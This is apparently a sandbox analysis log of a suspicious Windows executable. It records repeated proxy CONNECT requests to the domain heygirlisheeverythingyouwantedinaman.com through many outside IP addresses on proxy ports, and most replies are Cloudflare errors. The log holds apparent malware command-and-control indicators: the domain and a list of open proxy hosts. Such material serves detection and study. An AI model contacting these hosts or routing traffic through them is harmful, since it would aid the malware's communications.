655	192.168.2.9	52276	98.175.31.195	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.533447027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
656	192.168.2.9	52347	104.24.15.158	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.533802032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.688678026 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
657	192.168.2.9	52352	172.67.182.77	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.534420967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.688915014 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.9	52359	104.25.194.175	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.535039902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.689702988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.9	52376	23.227.38.230	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.539753914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.694319963 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.9	51415	68.1.210.189	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.539755106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.9	52377	172.67.3.98	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.540229082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.694838047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.9	52262	203.222.24.36	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.540792942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.9	52302	98.181.137.83	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.541274071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.9	52383	104.27.37.131	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.545968056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.700244904 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.9	52270	203.74.125.18	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.546605110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.9	51334	211.93.2.190	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.550256968 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:05.031146049 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.9	52400	104.21.124.121	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.562190056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.716531992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.9	52336	104.250.117.4	7070	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.563637018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.090903997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.887859106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.200514078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.700516939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.200571060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700757027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.779759884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.812434912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.9	52420	172.67.206.105	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.564172983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.718584061 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.9	52437	185.162.229.215	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.568160057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.722362995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.9	52398	35.244.232.197	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.576766968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.849905968 CET	462	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 317 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 68 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 6d 65 74 68 6f 64 20 3c 63 6f 64 65 3e 43 4f 4e 4e 45 43 54 3c 2f 63 6f 64 65 3e 20 69 73 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 66 6f 72 20 74 68 65 20 55 52 4c 20 3c 63 6f 64 65 3e 2f 3c 2f 63 6f 64 65 3e 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>405 Method Not Allowed</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Method Not Allowed</h1><h2>The request method <code>CONNECT</code> is inappropriate for the URL <code>/</code>.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.9	52448	172.67.38.96	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.585807085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.740214109 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.9	52357	157.185.176.44	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.586760044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.9	52456	172.67.254.127	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.586833954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.741671085 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.9	52458	104.22.37.236	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.586882114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
